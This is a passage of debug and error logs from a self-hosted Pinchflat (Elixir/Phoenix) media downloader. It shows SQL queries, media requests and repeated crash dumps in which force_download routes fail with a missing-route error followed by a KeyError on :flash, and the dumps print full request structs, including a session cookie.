Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/469491/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guULTMdUoQuwAFrsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47002}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47002}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163823.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], (truncated) 18:56:15.954 [info] GET /sources/2/media/469491 18:56:15.954 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "469491", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:56:15.955 [debug] QUERY OK source="media_items" db=0.1ms idle=21.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 18:56:15.955 [debug] QUERY OK source="tasks" db=0.2ms idle=21.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [469491] 18:56:15.955 [debug] QUERY OK source="sources" db=0.3ms idle=20.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.956 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=13.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16414, 16642] 18:56:15.956 [debug] QUERY OK source="settings" db=0.1ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.956 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.957 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.957 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.958 [info] Sent 200 in 4ms 18:56:16.003 [info] GET /media/9ef8f758-2187-4189-871e-9a0f0d06923b/stream 18:56:16.003 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "9ef8f758-2187-4189-871e-9a0f0d06923b", "v" => "1786932138"} Pipelines: [:maybe_basic_auth] 18:56:16.003 [debug] QUERY OK source="media_items" db=0.1ms idle=47.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["9ef8f758-2187-4189-871e-9a0f0d06923b"] 18:56:16.003 [debug] Invalid range request for media item: 9ef8f758-2187-4189-871e-9a0f0d06923b - serving full file 18:56:16.003 [info] Sent 200 in 741µs 18:56:16.026 [info] GET /sources/3/media/404257/edit 18:56:16.026 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "404257", "source_id" => "3"} Pipelines: [:browser] 18:56:16.027 [debug] QUERY OK source="media_items" db=0.1ms idle=70.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 18:56:16.027 [debug] QUERY OK source="settings" db=0.1ms idle=70.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.027 [debug] QUERY OK source="settings" db=0.1ms idle=70.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.028 [debug] QUERY OK source="settings" db=0.1ms idle=70.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.029 [info] Sent 200 in 2ms 18:56:16.050 [info] GET /sources/2/media/469491/force_download 18:56:16.051 [debug] QUERY OK source="settings" db=0.1ms idle=47.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.051 [debug] QUERY OK source="settings" db=0.1ms idle=24.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.051 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.052 [error] #PID<0.163834.0> running PinchflatWeb.Endpoint (connection #PID<0.163833.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/469491/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163833.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163834.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/469491/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guUlMznMfUFsAC6aC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163833.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163833.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163834.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], (truncated) 18:56:16.057 [info] GET /sources/3/media/404257/force_download 18:56:16.057 [debug] QUERY OK source="settings" db=0.1ms idle=29.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.057 [debug] QUERY OK source="settings" db=0.1ms idle=29.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.058 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.058 [error] #PID<0.163836.0> running PinchflatWeb.Endpoint (connection #PID<0.163835.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/media/404257/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47058}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163836.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/media/404257/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guUmrCVp-T2IAFruh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47058}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47058}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: 